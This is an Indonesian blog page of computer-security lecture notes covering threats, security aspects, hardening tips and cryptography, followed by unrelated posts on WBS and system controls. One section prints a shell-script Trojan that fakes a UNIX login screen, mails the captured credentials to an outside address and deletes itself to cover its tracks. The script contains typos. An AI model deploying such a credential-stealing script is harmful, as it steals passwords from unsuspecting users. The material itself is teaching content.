Minggu, 02 Desember 2012

keamanan komputer

DIKTAT KULIAH KEAMANAN KOMPUTER

 


PENDAHULUAN


Modal dasar :
·         Mengetahui Bahasa Pemrograman
·         Menguasai pengetahuan perangkat keras dan perangkat lunak pengontrolnya (logika interfacing).
·         Menguasai pengelolaan instalasi komputer.
·         Menguasai dengan baik teori jaringan komputer ; protokol, infrastruktur, media komunikasi.
·         Memahami cara kerja system operasi.
·         Memiliki ‘pikiran jahat’ ;-p

Cara belajar :
·         Cari buku-buku mengenai keamanan komputer cetakan, e-book, majalah-majalah/tabloid komputer edisi cetak maupun edisi online.
·         Akses ke situs-situs review keamanan (contoh: www.cert.org ), situs-situs underground (silahkan cari via search engine).
·         Pelajari review atau manual book perangkat keras dan perangkat lunak untuk memahami cara kerja dengan baik.

Keamanan Komputer Mengapa dibutuhkan ?


·         “information-based society”, menyebabkan nilai informasi  menjadi sangat penting dan menuntut kemampuan untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah organisasi,

·         Infrastruktur Jaringan komputer, seperti LAN  dan Internet, memungkinkan untuk menyediakan informasi secara cepat, sekaligus membuka potensi adanya lubang keamanan (security hole)

Kejahatan Komputer semakin meningkat karena :
·         Aplikasi bisnis berbasis TI dan jaringan komputer meningkat : online banking, e-commerce, Electronic data Interchange (EDI).
·         Desentralisasi server.
·         Transisi dari single vendor ke multi vendor.
·         Meningkatnya kemampuan pemakai (user).
·         Kesulitan penegak hokum dan belum adanya ketentuan yang pasti.
·         Semakin kompleksnya system yang digunakan, semakin besarnya source code program yang digunakan.
·         Berhubungan dengan internet.

Klasifikasi kejahatan Komputer :



 


                                                                                                                            


Menurut David Icove [John D. Howard, “An Analysis Of Security Incidents On The Internet 1989 - 1995,” PhD thesis, Engineering and Public Policy, Carnegie Mellon University, 1997.] berdasarkan lubang keamanan, keamanan dapat
diklasifikasikan menjadi empat, yaitu:
  1. Keamanan yang bersifat fisik (physical security): termasuk akses orang ke gedung, peralatan, dan media yang digunakan. Contoh :
·         Wiretapping atau hal-hal yang ber-hubungan dengan akses ke kabel atau komputer yang digunakan juga dapat dimasukkan ke dalam kelas ini.
·         Denial of service, dilakukan misalnya dengan mematikan peralatan atau membanjiri saluran komunikasi dengan pesan-pesan (yang dapat berisi apa saja karena yang diuta-makan adalah banyaknya jumlah pesan).
·         Syn Flood Attack, dimana sistem (host) yang dituju dibanjiri oleh permintaan sehingga dia menjadi ter-lalu sibuk dan bahkan dapat berakibat macetnya sistem (hang).
  1. Keamanan yang berhubungan dengan orang (personel), Contoh :
·         Identifikasi user (username dan password)
·         Profil resiko dari orang yang mempunyai akses (pemakai dan pengelola).

  1. Keamanan dari data dan media serta teknik komunikasi (communications).
  2. Keamanan dalam operasi: Adanya prosedur yang digunakan untuk mengatur dan mengelola sistem keamanan, dan juga ter-masuk prosedur setelah serangan (post attack recovery).








Text Box: Karakteristik Penyusup :
1. The Curious (Si Ingin Tahu) - tipe penyusup ini pada dasarnya tertarik menemukan jenis sistem dan data yang anda miliki. 
2. The Malicious (Si Perusak) - tipe penyusup ini berusaha untuk merusak sistem anda, atau merubah web page anda, atau sebaliknya membuat waktu dan uang anda kembali pulih. 
3. The High-Profile Intruder (Si Profil Tinggi) - tipe penyusup ini berusaha menggunakan sistem anda untuk memperoleh popularitas dan ketenaran. Dia mungkin menggunakan sistem profil tinggi anda untuk mengiklankan kemampuannya. 
4. The Competition (Si Pesaing) - tipe penyusup ini tertarik pada data yang anda miliki dalam sistem anda. Ia mungkin seseorang yang beranggapan bahwa anda memiliki sesuatu yang dapat menguntungkannya secara keuangan atau sebaliknya.


Text Box: Istilah bagi penyusup :
1. Mundane ; tahu mengenai hacking tapi tidak mengetahui metode dan prosesnya.
2. lamer (script kiddies) ; mencoba script2 yang pernah di buat oleh aktivis hacking, tapi tidak paham bagaimana cara membuatnya.
3. wannabe ; paham sedikit metode hacking, dan sudah mulai berhasil menerobos sehingga berfalsafah ; HACK IS MY RELIGION.
4. larva (newbie) ; hacker pemula, teknik hacking mulai dikuasai dengan baik, sering bereksperimen.
5. hacker ; aktivitas hacking sebagai profesi.
6. wizard ; hacker yang membuat komunitas pembelajaran di antara mereka.
7. guru ; master of the master hacker, lebih mengarah ke penciptaan tools-tools yang powerfull yang salah satunya dapat menunjang aktivitas hacking, namun lebih jadi tools pemrograman system yang umum.
 






















































ASPEK KEAMANAN KOMPUTER :
Menurut Garfinkel [Simson Garfinkel, “PGP: Pretty Good Privacy,” O’Reilly & Associ-ates, Inc., 1995. ]

1. Privacy / Confidentiality 
·         Defenisi : menjaga informasi dari orang yang tidak berhak mengakses.
·         Privacy  : lebih kearah data-data yang sifatnya privat , Contoh : e-mail seorang pemakai (user) tidak boleh dibaca oleh administrator.
·         Confidentiality       : berhubungan dengan data yang diberikan ke pihak lain untuk keperluan tertentu dan hanya diperbolehkan untuk keperluan tertentu tersebut.
·         Contoh  : data-data yang sifatnya pribadi (seperti nama, tempat tanggal lahir, social security number, agama, status perkawinan, penyakit yang pernah diderita, nomor kartu kredit, dan sebagainya) harus dapat diproteksi dalam penggunaan dan penyebarannya.
·         Bentuk Serangan : usaha penyadapan (dengan program sniffer).
·         Usaha-usaha yang dapat dilakukan untuk meningkatkan privacy dan confidentiality adalah dengan menggunakan teknologi kriptografi.

Integrity
·         Defenisi : informasi tidak boleh diubah tanpa seijin pemilik informasi.
·         Contoh : e-mail di intercept di tengah jalan, diubah isinya, kemudian diteruskan ke alamat yang dituju.
·         Bentuk serangan : Adanya virus, trojan horse, atau pemakai lain yang mengubah informasi tanpa ijin, “man in the middle attack” dimana seseorang menempatkan diri di tengah pembicaraan dan menyamar sebagai orang lain.

Authentication
·         Defenisi : metoda untuk menyatakan bahwa informasi betul-betul asli, atau orang yang mengakses atau memberikan informasi adalah betul-betul orang yang dimaksud.
·         Dukungan :
·         Adanya Tools membuktikan keaslian dokumen, dapat dilakukan dengan teknologi watermarking(untuk menjaga “intellectual property”, yaitu dengan menandai dokumen atau hasil karya dengan “tanda tangan” pembuat ) dan digital signature.
·         Access control, yaitu berkaitan dengan pembatasan orang yang dapat mengakses informasi. User harus menggunakan password, biometric (ciri-ciri khas orang), dan sejenisnya.

Availability
·         Defenisi : berhubungan dengan ketersediaan informasi ketika dibutuhkan.
·         Contoh hambatan :
·         “denial of service attack” (DoS attack), dimana server dikirimi permintaan (biasanya palsu) yang bertubi-tubi atau permintaan yang diluar perkiraan sehingga tidak dapat melayani permintaan lain atau bahkan sampai down, hang, crash.
·         mailbomb, dimana seorang pemakai dikirimi e-mail bertubi-tubi (katakan ribuan e-mail) dengan ukuran yang besar sehingga sang pemakai tidak dapat membuka e-mailnya atau kesulitan mengakses e-mailnya.

Access Control

·         Defenisi :  cara pengaturan akses kepada informasi.  berhubungan dengan masalah
·         authentication dan juga privacy
·         Metode : menggunakan kombinasi userid/password atau dengan
·         menggunakan mekanisme lain.

Non-repudiation
·         Defenisi : Aspek ini menjaga agar seseorang tidak dapat menyangkal telah melakukan sebuah transaksi. Dukungan bagi  electronic commerce.

 

 

Security Attack Models


Menurut W. Stallings [William Stallings, “Network and Internetwork Security,” Prentice
Hall, 1995.] serangan (attack) terdiri dari :

·         Interruption: Perangkat sistem menjadi rusak atau tidak tersedia. Serangan ditujukan kepada ketersediaan (availability) dari sistem. Contoh serangan adalah “denial of service attack”.

·         Interception: Pihak yang tidak berwenang berhasil mengakses asset atau informasi. Contoh dari serangan ini adalah penyadapan (wiretapping).

·         Modification: Pihak yang tidak berwenang tidak saja berhasil mengakses, akan tetapi dapat juga mengubah (tamper) aset. Contoh dari serangan ini antara lain adalah mengubah isi dari web site dengan pesan-pesan yang merugikan pemilik web site.

·         Fabrication: Pihak yang tidak berwenang menyisipkan objek palsu ke dalam sistem. Contoh dari serangan jenis ini adalah memasukkan pesan-pesan palsu seperti e-mail palsu ke dalam jaringan komputer.






SECURITY BREACH ACCIDENT

1996
U.S. Federal Computer Incident Response Capability (FedCIRC) melaporkan bahwa lebih dari 2500 “insiden” di system komputer atau jaringan komputer yang disebabkan oleh gagalnya sistem keamanan atau adanya usaha untuk membobol sistem keamanan
1996
FBI National Computer Crimes Squad, Washington D.C.,  memperkirakan kejahatan komputer yang terdeteksi kurang dari 15%, dan hanya 10% dari angka itu yang dilaporkan
1997
Penelitian Deloitte Touch Tohmatsu menunjukkan bahwa dari 300 perusahaan di Australia, 37% (dua diantara lima) pernah  mengalami masalah keamanan sistem komputernya.
1996
Inggris, NCC Information Security Breaches Survey menunjukkan bahwa kejahatan komputer menaik 200% dari tahun 1995 ke 1996.  Kerugian rata-rata US $30.000 / insiden.
1998
FBI melaporkan bahwa kasus persidangan yang berhubungan
dengan kejahatan komputer meroket 950% dari tahun 1996 ke
tahun 1997, dengan penangkapan dari 4 ke 42, dan terbukti
(convicted) di pengadilan naik 88% dari 16 ke 30 kasus.

Dan lain-lain. Dapat dilihat di www.cert.org 


Contoh akibat dari jebolnya sistem keamanan, antara lain:

1988
Keamanan sistem mail sendmail dieksploitasi oleh Robert
Tapan Morris sehingga melumpuhkan sistem Internet. Kegiatan
ini dapat diklasifikasikan sebagai “denial of service attack”.
Diperkirakan biaya yang digunakan untuk memperbaiki dan hal-hal lain yang hilang adalah sekitar $100 juta. Di tahun 1990 Morris
dihukum (convicted) dan hanya didenda $10.000.
10 Maret 1997
Seorang hacker dari Massachusetts berhasil mematikan sistem telekomunikasi di sebuah airport local (Worcester,  Massachusetts) sehingga mematikan komunikasi di control tower dan menghalau pesawat yang hendak mendarat. 
Dia juga mengacaukan sistem telepon di Rutland, Massachusetts.
1990
Kevin Poulsen mengambil alih system komputer telekomunikasi di Los Angeles untuk memenangkan kuis di sebuah radio local.
1995
Kevin Mitnick, mencuri 20.000 nomor kartu kredit, menyalin system operasi DEC secara illegal dan mengambil alih hubungan telpon di New York dan California.
1995
Vladimir Levin membobol bank-bank di kawasan Wallstreet, mengambil uang sebesar $10 juta.
2000
Fabian Clone menjebol situs aetna.co.id dan Jakarta mail dan membuat directory atas namanya berisi peringatan terhadap administrator situs tersebut.
2000
Beberapa web site Indonesia sudah dijebol dan daftarnya (beserta
contoh halaman yang sudah dijebol) dapat dilihat di koleksi
2000
Wenas, membuat server sebuah ISP di singapura down








MEMAHAMI HACKER BEKERJA

Secara umum melalui tahapan-tahapan sebagai berikut :
1.      Tahap mencari tahu system komputer sasaran.
2.      Tahap penyusupan
3.      Tahap penjelajahan
4.      Tahap keluar dan menghilangkan jejak.

Contoh kasus Trojan House, memanfaatkan SHELL script UNIX :
Seorang gadis cantik dan genit peserta kuliah UNIX di sebuah perguruan tinggi memiliki potensi memancing pengelola sistem komputer (administrator pemegang account root . . . hmmm) yang lengah. Ia melaporkan bahwa komputer tempat ia melakukan tugas-tugas UNIX yang diberikan tidak dapat dipergunakan. Sang pengelola sistem komputer tentu saja dengan gagah perkasa ingin menunjukkan kekuasaan sebagai administrator UNIX.
"Well, ini soal kecil. Mungkin password kamu ke blokir, biar saya perbaiki dari tempat kamu", ujar administrator UNIX sombong sambil duduk disebelah gadis cantik dan genit peserta kuliah tersebut.
Keesokan harinya, terjadilah kekacauan di sistem UNIX karena diduga terjadi penyusupan oleh hacker termasuk juga hompepage perguruan tinggi tersebut di-obok-obok, maklum pengelolanya masih sama. Selanjutnya pihak perguruan tinggi mengeluarkan press release bahwa homepage mereka dijebol oleh hacker dari Luar Negeri . . . . hihiii
Nah sebenarnya apa sih yang terjadi ?
Sederhana, gadis cantik dan genit peserta kuliah UNIX tersebut menggunakan program kecil my_login dalam bentuk shell script yang menyerupai layar login dan password sistem UNIX sebagai berikut:
#!/bin/sh
###################################
# Nama program : my_login
# Deskripsi :Program kuda trojan sederhana
# versi 1.0 Nopember 1999
####################################
COUNTER=0
Cat /etc/issue
While [ "$COUNTER" –ne 2 ]
do
let COUNTER=$COIUNTER+1
echo "login: \c"
read LOGIN
stty echo
echo "password: \c"
read PASSWORD
echo "User $LOGIN : $PASSWORD" | mail gadis@company.com
stty echo
echo
echo "Login Incorrect"
done
rm $0
kill –9 $PPID

Apabila program ini dijalankan maka akan ditampilkan layar login seperti layaknya awal penggunaan komputer pdaa sistem UNIX:

Login:
Password:

Lihatlah, Administrator UNIX yang gagah perkasa tadi yang tidak melihat gadis tersebut menjalankan program ini tentunya tidak sadar bahwa ini merupakan layar tipuan. Layar login ini tidak terlihat beda dibanding layar login sesungguhnya.
Seperti pada program login sesungguhnya, sistem komputer akan meminta pemakai untuk login ke dalam sistem. Setelah diisi password dan di enter,maka segera timbul pesan

Login:root
Password: ********
Login Incorrect

Tentu saja Administrator UNIX akan kaget bahwa passwordnya ternyata (seolah-olah) salah. Untuk itu ia segera mengulangi login dan password. Setelah dua kali ia mencoba login dan tidak berhasil, maka loginnya dibatalkan dan kembali keluar UNIX.
Perhatikan program di atas baik-baik, sekali pemakai tersebut mencoba login dan mengisi password pada layar di atas, setelah itu maka otomatis data login dan password tersebut akan di email ke mailto:hacker@company.com. Sampai disini maka si gadis lugu dan genit telah mendapatkan login dan password . . . ia ternyata seorang hacker !!
Walaupun sederhana, jika kita perhatikan lebih jauh lagi, maka program ini juga memiliki beberapa trik hacker lainnya, yaitu proses penghilangan jejak (masih ingat tahapan hacker yang ditulis di atas ?). Proses ini dilakukan pada 2 baris terakhir dari program my_login di atas, yaitu

rm $0
kill –9 $PPID

yang artinya akan segera dilakukan proses penghapusan program my_login dan hapus pula ID dari proses. Dengan demikian hilanglah program tersebut yang tentunya juga menhilangkan barang bukti. Ditambah lagi penghapusan terhadap jejak proses di dalam sistem UNIX. Zap . . . hilang sudah tanda-tanda bahwa hacker nya ternyata seorang gadis peserta kuliahnya.

Sukses dari program ini sebenarnya sangat tergantung dari bagaimana agar aplikasi ini dapat dieksekusi oleh root. Hacker yang baik memang harus berusaha memancing agar pemilik root menjalankan program ini.


PRINSIP DASAR PERANCANGAN SISTEM YANG AMAN


1.      Mencegah hilangnya data
2.      Mencegah masuknya penyusup


LAPISAN KEAMANAN :

1.  Lapisan Fisik :
·         membatasi akses fisik ke mesin :
o   Akses masuk ke ruangan komputer
o   penguncian komputer secara hardware
o   keamanan BIOS
o   keamanan Bootloader
·         back-up data :
o   pemilihan piranti back-up
o   penjadwalan back-up
·         mendeteksi gangguan fisik :
·         log file : Log pendek atau tidak lengkap, Log yang berisikan waktu yang aneh, Log dengan permisi atau kepemilikan yang tidak tepat, Catatan pelayanan reboot atau restart, Log yang hilang, masukan su atau login dari tempat yang janggal
·         mengontrol akses sumber daya.

2. Keamanan lokal
Berkaitan dengan user dan hak-haknya :
·         Beri mereka fasilitas minimal yang diperlukan.
·         Hati-hati terhadap saat/dari mana mereka login, atau tempat seharusnya mereka login.
·         Pastikan dan hapus rekening mereka ketika mereka tidak lagi membutuhkan akses.

3. Keamanan Root
·         Ketika melakukan perintah yang kompleks, cobalah dalam cara yang tidak merusak dulu, terutama perintah yang menggunakan globbing: contoh, anda ingin melakukan "rm foo*.bak", pertama coba dulu: "ls foo*.bak" dan pastikan anda ingin menghapus file-file yang anda pikirkan.
·         Beberapa orang merasa terbantu ketika melakukan "touch /-i" pada sistem mereka. Hal ini akan membuat perintah-perintah seperti : "rm -fr *" menanyakan apakah anda benar-benar ingin menghapus seluruh file. (Shell anda menguraikan "-i" dulu, dan memberlakukannya sebagai option -i ke rm).
·         Hanya menjadi root ketika melakukan tugas tunggal tertentu. Jika anda berusaha mengetahui bagaimana melakukan sesuatu, kembali ke shell pemakai normal hingga anda yakin apa yang perlu dilakukan oleh root.
·         Jalur perintah untuk pemakai root sangat penting. Jalur perintah, atau variabel lingkungan PATH mendefinisikan lokal yang dicari shell untuk program. Cobalah dan batasi jalur perintah bagi pemakai root sedapat mungkin, dan jangan pernah menggunakan '.', yang berarti 'direktori saat ini', dalam pernyataan PATH anda. Sebagai tambahan, jangan pernah menaruh direktori yang dapat ditulis pada jalur pencarian anda, karena hal ini memungkinkan penyerang memodifikasi atau menaruh file biner dalam jalur pencarian anda, yang memungkinkan mereka menjadi root ketika anda menjalankan perintah tersebut.
·         Jangan pernah menggunakan seperangkat utilitas rlogin/rsh/rexec (disebut utilitas r) sebagai root. Mereka menjadi sasaran banyak serangan, dan sangat berbahaya bila dijalankan sebagai root. Jangan membuat file .rhosts untuk root.
·         File /etc/securetty berisikan daftar terminal-terminal tempat root dapat login. Secara baku (pada RedHat Linux) diset hanya pada konsol virtual lokal (vty). Berhati-hatilah saat menambahkan yang lain ke file ini. Anda seharusnya login dari jarak jauh sebagai pemakai biasa dan kemudian 'su' jika anda butuh (mudah-mudahan melalui ssh atau saluran terenkripsi lain), sehingga tidak perlu untuk login secara langsung sebagai root.
·         Selalu perlahan dan berhati-hati ketika menjadi root. Tindakan anda dapat mempengaruhi banyak hal. Pikir sebelum anda mengetik!

4. Keamanan File dan system file
·         Directory home user tidak boleh mengakses perintah mengubah system seperti partisi, perubahan device dan lain-lain.
·         Lakukan setting limit system file.
·         Atur akses dan permission file : read, writa, execute bagi user maupun group.
·         Selalu cek program-program yang tidak dikenal

5. Keamanan Password dan Enkripsi
·         Hati-hati terhadap bruto force attack dengan membuat password yang baik.
·         Selalu mengenkripsi file yang dipertukarkan.
·         Lakukan pengamanan pada level tampilan, seperti screen saver.

6. Keamanan Kernel
·         selalu update kernel system operasi.
·         Ikuti review bugs dan kekurang-kekurangan pada system operasi.

7. Keamanan Jaringan
·         Waspadai paket sniffer yang sering menyadap port Ethernet.
·         Lakukan prosedur untuk mengecek integritas data
·         Verifikasi informasi DNS
·         Lindungi network file system
·         Gunakan firewall untuk barrier antara jaringan privat dengan jaringan eksternal


KRIPTOGRAFI


DEFENISI

Cryptography adalah suatu ilmu ataupun seni mengamankan pesan, dan dilakukan oleh cryptographer.
Cryptanalysis adalah suatu ilmu dan seni membuka (breaking) ciphertext dan orang yang melakukannya disebut cryptanalyst.

 

ELEMEN


Proses Enkripsi/Dekripsi


CRYPTOSYSTEM


Cryptographic system atau cryptosystem adalah suatu fasilitas untuk mengkonversikan plaintext ke ciphertext dan sebaliknya. Dalam sistem ini, seperangkat parameter yang menentukan transformasi pencipheran tertentu disebut suatu set kunci. Proses enkripsi dan dekripsi diatur oleh satu atau beberapa kunci kriptografi.

1. Kriptografi dapat memenuhi kebutuhan umum suatu transaksi:

1.      Kerahasiaan (confidentiality) dijamin dengan melakukan enkripsi (penyandian).
2.      Keutuhan (integrity) atas data-data pembayaran dilakukan dengan fungsi hash satu arah.
3.      Jaminan atas identitas dan keabsahan (authenticity) pihak-pihak yang melakukan transaksi dilakukan dengan menggunakan password atau sertifikat digital. Sedangkan keotentikan data transaksi dapat dilakukan dengan tanda tangan digital.
4.      Transaksi dapat dijadikan barang bukti yang tidak bisa disangkal (non-repudiation) dengan memanfaatkan tanda tangan digital dan sertifikat digital.


2. Karakteristik cryptosytem yang baik sebagai berikut :

  1. Keamanan sistem terletak pada kerahasiaan kunci dan bukan pada kerahasiaan algoritma yang digunakan.
  2. Cryptosystem yang baik memiliki ruang kunci (keyspace) yang besar.
  3. Cryptosystem yang baik akan menghasilkan ciphertext yang terlihat acak dalam seluruh tes statistik yang dilakukan terhadapnya.
  4. Cryptosystem yang baik mampu menahan seluruh serangan yang telah dikenal sebelumnya

3. MACAM CRYPTOSYSTEM

A. Symmetric Cryptosystem
Dalam symmetric cryptosystem ini, kunci yang digunakan untuk proses enkripsi dan dekripsi pada prinsipnya identik, tetapi satu buah kunci dapat pula diturunkan dari kunci yang lainnya. Kunci-kunci ini harus dirahasiakan. Oleh karena itulah sistem ini sering disebut sebagai secret-key ciphersystem. Jumlah kunci yang dibutuhkan umumnya adalah :

nC2  = n . (n-1)
          --------
       2
dengan n menyatakan banyaknya pengguna.
Contoh dari sistem ini adalah Data Encryption Standard (DES), Blowfish, IDEA.

B. Assymmetric Cryptosystem
Dalam assymmetric cryptosystem ini digunakan dua buah kunci. Satu kunci yang disebut kunci publik (public key) dapat dipublikasikan, sedang kunci yang lain yang disebut kunci privat (private key) harus dirahasiakan. Proses menggunakan sistem ini dapat diterangkan secara sederhana sebagai berikut : bila A ingin mengirimkan pesan kepada B, A dapat menyandikan pesannya dengan menggunakan kunci publik B, dan bila B ingin membaca surat tersebut, ia perlu mendekripsikan surat itu dengan kunci privatnya. Dengan demikian kedua belah pihak dapat menjamin asal surat serta keaslian surat tersebut, karena adanya mekanisme ini. Contoh sistem ini antara lain RSA Scheme dan Merkle-Hellman Scheme.


4. PROTOKOL CRYPTOSYSTEM

Cryptographic protocol adalah suatu protokol yang menggunakan kriptografi. Protokol ini melibatkan sejumlah algoritma kriptografi, namun secara umum tujuan protokol lebih dari sekedar kerahasiaan. Pihak-pihak yang berpartisipasi mungkin saja ingin membagi sebagian rahasianya untuk menghitung sebuah nilai, menghasilkan urutan random, atau pun menandatangani kontrak secara bersamaan.

Penggunaan kriptografi dalam sebuah protokol terutama ditujukan untuk mencegah atau pun mendeteksi adanya eavesdropping dan cheating.


5. JENIS PENYERANGAN PADA PROTOKOL

·         Ciphertext-only attack. Dalam penyerangan ini, seorang cryptanalyst memiliki ciphertext dari sejumlah pesan yang seluruhnya telah dienkripsi menggunakan algoritma yang sama.
·         Known-plaintext attack. Dalam tipe penyerangan ini, cryptanalyst memiliki akses tidak hanya ke ciphertext sejumlah pesan, namun ia juga memiliki plaintext pesan-pesan tersebut.
·         Chosen-plaintext attack. Pada penyerangan ini, cryptanalyst tidak hanya memiliki akses atas ciphertext dan plaintext untuk beberapa pesan, tetapi ia juga dapat memilih plaintext yang dienkripsi.
·         Adaptive-chosen-plaintext attack. Penyerangan tipe ini merupakan suatu kasus khusus chosen-plaintext attack. Cryptanalyst tidak hanya dapat memilih plaintext yang dienkripsi, ia pun memiliki kemampuan untuk memodifikasi pilihan berdasarkan hasil enkripsi sebelumnya. Dalam chosen-plaintext attack, cryptanalyst mungkin hanya dapat memiliki plaintext dalam suatu blok besar untuk dienkripsi; dalam adaptive-chosen-plaintext attack ini ia dapat memilih blok plaintext yang lebih kecil dan kemudian memilih yang lain berdasarkan hasil yang pertama, proses ini dapat dilakukannya terus menerus hingga ia dapat memperoleh seluruh informasi.
·         Chosen-ciphertext attack. Pada tipe ini, cryptanalyst dapat memilih ciphertext yang berbeda untuk didekripsi dan memiliki akses atas plaintext yang didekripsi.
·         Chosen-key attack. Cryptanalyst pada tipe penyerangan ini memiliki pengetahuan tentang hubungan antara kunci-kunci yang berbeda.
·         Rubber-hose cryptanalysis. Pada tipe penyerangan ini, cryptanalyst mengancam, memeras, atau bahkan memaksa seseorang hingga mereka memberikan kuncinya.

analisis kinerja sistem

Work Breakdown Structure (WBS) Penulisan Ilmiah

Cara membuat WBS sesuai dengan Penulisan Ilmiah (Aplikasi Kamus Komputer pada Handphone)
Pertama – tama membuat struktur program dari aplikasi kamus tersebut.
Struktur Program Aplikasi Kamus Komputer






Jika struktur program telah selesai dibuat, langkah selanjutnya adalah membuat Flowchart (Diagram Alur) dari struktur program tersebut.
Diagram alur (flowchart) dapat menunjukan secara jelas arus pengendalian algoritma, yakni bagaimana rangkaian pelaksana kegiatan. Suatu diagram alur memberikan gambaran dua dimensi berupa simbol – simbol grafis. Masing – masing simbol telah ditetapkan terlebih dahulu fungsi dan artinya. Berikut diagram alur (flowchart) dalam pembuatan aplikasi kamus.
Flowchart Pencarian Kata










Setelah Flowchart selesai dibuat lalu buatlah rancangan – rancangan tampilan dari aplikasi tersebut.

Work Breakdown Structure (WBS)

Work Breakdown Structure (WBS) adalah pemecahan atau pembagian pekerjaan ke dalam bagian yang lebih kecil (sub-kegiatan).
Manfaat Work Breakdown Structure
• Mengurangi kompleksitas
• Fasilitas penjadwalan dan pengendalian
• Estimasi Biaya(Cost Estimation)
• Penyusunan anggaran(Cost Budgeting)
• Perencanaan manajemen Risiko
• (Risk Management Planning)
• Identifikasi aktivitas(Activity Definition)

Manajemen Kontrol Keamanan pada Sistem

Pentingnya Kontrol
Tujuan pengontrolan adalah untuk memastikan bahwa CBIS telah diimplementasikan seperti yang direncanakan, system beroperasi seperti yang dikehendaki, dan operasi tetap dalam keadaan aman dari penyalahgunaan atau gangguan.
Properti Sistem Yang Memberikan Keamanan
Sebuah system harus mempunyai tiga property (sifat), yaitu :
• Integritas, system akan mempunyai integritas bila ia berjalan menurut spesifikasinya. Perancang system berusaha untuk mengembangkan system yang mempunyai integritas fungsional, yaitu kemampuan untuk melanjutkan operasi, apabila salah satu atau lebih dari komponennya tidak berjalan.
• Audibilitas, ia akan bersifat audible jika ia memiliki visibilitas dan accountability (daya perhitungan). Bila system memiliki audibilitas maka mudah bagi seseorang untuk memeriksa, memverifikasi atau menunjukkan penampilannya.
• Daya kontrol, daya kontrol memungkinan manajer untuk menangani pengerahan atau penghambatan pengaruh terhadap system. Teknik yang efektif untuk mendapatkan daya kontrol system ini adalah dengan membagi system menjadi subsistem yang menangani transaksi secara terpisah.
Tugas Kontrol CBIS
Kontrol CBIS mencakup semua fase siklus hidup. Selama siklus hidup, kontrol dapat dibagi menjadi kontrol-kontrol yang berhubungan dengan pengembangan, disain dan operasi.
Manajer dapat memperoleh kontrol dalam ketiga area secara langsung melalui ahli lain, seperti auditor.
AREA PENGONTROLAN CBIS
  • Kontrol Proses Pengembangan
Tujuan dari kontrol pengembangan adalah untuk memastikan bahwa CBIS yang diimplementasikan dapat memenuhi kebutuhan pemakai.
Yang termasuk dalam kontrol pengembangan :
1.  Manajemen puncak menetapkan kontrol proyek secara keseluruhan selama fase perencanaan dengan cara membentuk komite MIS
2.  Manajemen memberitahu pemakai mengenai orientasi CBIS
3.  Manajemen menentukan kriteria penampilan yang digunakan dalam mengevaluasi operasi CBIS.
4.  Manajemen dan bagian pelayanan informasi menyusun disain dan standar CBIS
5.  Manajemen dan pelayanan informasi secara bersama-sama mendefinisikan program pengujian yang dapat diterima,
6.  Manajemen melakukan peninjauan sebelum instalasi yang dilakukan tepat setelah penggantian dan secara berkala meninjau CBIS untuk memastikan apakah ia memenuhi kriteria penampilan.
7.  Bagian pelayanan informasi menetapkan prosedur untuk memelihara dan memodifikasi CBIS dan prosedur yang disetujui oleh manajemen.
  • Kontrol Disain Sistem
Selama fase disain dan analisis dari siklus hidup system, Analis System, DBA dan Manajer Jaringan membangun fasilitas kontrol tertentu dalam disain system. Selama fase implementasi, programmer menggabungkan kontrol tersebut ke dalam system. Disain system dikontrol dengan cara menggabungkan kontrol software menjadi lima bagian pokok, yaitu :
– Permulaan Transaksi (Transaction Origination)
Tahap-tahap yang harus dilakukan pada permulaan transaksi terdiri atas ;
>  Permulaan dokumen sumber
>  Kewenangan
>  Pembuatan input computer
>  Penanganan kesalahan
>  Penyimpanan dokumen sumber
- Entri Transaksi (Transaction Entry)
Entri transaksi mengubah data dokumen sumber menjadi bentuk yang dapat dibaca oleh komputer. Kontrol ini berusaha untuk menjaga keakuratan data yang akan ditransmisikan ke jaringan komunikasi atau yang akan dimasukkan secara langsung ke dalam komputer. Area kontrolnya meliputi atas :
>  Entri data
>  Verifikasi data
>  Penanganan kesalahan
>  Penyeimbangan batch
- Komunikasi Data (Data Communication)
Komputer yang ada dalam jaringan memberikan peluang risiko keamanan yang lebih besar dari pada komputer yang ada di dalam suatu ruangan. Area kontrol ini terdiri dari :
>  Kontrol pengiriman pesan
>  Kontrol saluran (channel) komunikasi
>  Kontrol penerimaan pesan
>  Rencana pengamanan datacom secara menyeluruh
- Pemrosesan Komputer (Computer Processing)
Pada umumnya semua elemen kontrol pada disain system selalu dikaitkan dengan pemasukan data ke dalam komputer. Area kontrol pada pemrosesan komputer terdiri dari :
>  Penanganan data
>  Penanganan kesalahan
>  Database dan perpustakaan software
Sebagian besar kontrol database dapat diperoleh melalui penggunaan Sistem Manajemen Database (Database Management System/DBMS)
Tingkat keamanan dalam DBMS terdiri dari
>  Kata kunci (Password)
>  Direktori pemakai (User Directory)
>  Direktori elemen data (Field Directory)
>  Enkripsi (Encryption)

- Output Komputer (Computer Output)
Komponen subsistem ini bertanggung jawab untuk mengirimkan produk (output) kepada pemakai (user). Yang termasuk dalam area ini adalah :
>  Penyeimbangan operasi komputer
>  Distribusi
>  Penyeimbangan departemen pemakai
>  Penanganan kesalahan
>  Penyimpanan record
  • Kontrol Terhadap Pengoperasian Sistem
Kontrol pengoperasian system didasarkan pada struktur organisasional dari departemen operasi, aktivitas dari unit yang ada dalam departemen tersebut.
Kontrol yang memberikan kontribusi terhadap tujuan ini dapat diklasifikasikan menjadi lima area :
1.  Struktur organisasional
  1. Kontrol perpustakaan
  2. Pemeliharaan peralatan
  3. Kontrol lingkungan dan kemanan fasilitas
  4. Perencanaan disaster, meliputi area :
-                  Rencana keadaan darurat (emergency plan)
-                  Rencana back-up (backup plan)
-                  Rencana record penting (vital record plan)
-                  Rencana recovery (recovery plan)
Metode Mendapatkan Dan Memelihara Kontrol
Manajemen dapat melakukan kontrol dengan tiga cara, yaitu :
-  Manajemen dapat melakukan kontrol langsung, yaitu mengevaluasi  kemajuan dan penampilan, dan menentukan tindakan koreksi apa yang harus dilakukan
-  Manajemen mengontrol CBIS secara tidak langsung dengan terus menerus melalui CIO.
-  Manajemen mengontrol CBIS secara tidak langsung berkenan dengan proyeknya melalui pihak ketiga.
Keamanan Sistem
Definisi Keamanan
Adalah proteksi perlindungan atas sumber-sumber fisik dan konseptual dari bahaya alam dan manusia. Kemanan terhadap sumber konseptual meliputi data dan informasi
Tujuan-tujuan Keamanan ; dimaksudkan untuk mencapai 3 tujuan utama , yaitu :
1.  Kerahasiaan, perusahaan berusaha melindungi data dan informasi dari orang-orang yang tidak berhak.
2.  Ketersediaan, tujuan CBIS adalah menyediakan data dan informasi bagi mereka yang berwenang untuk menggunakannya.
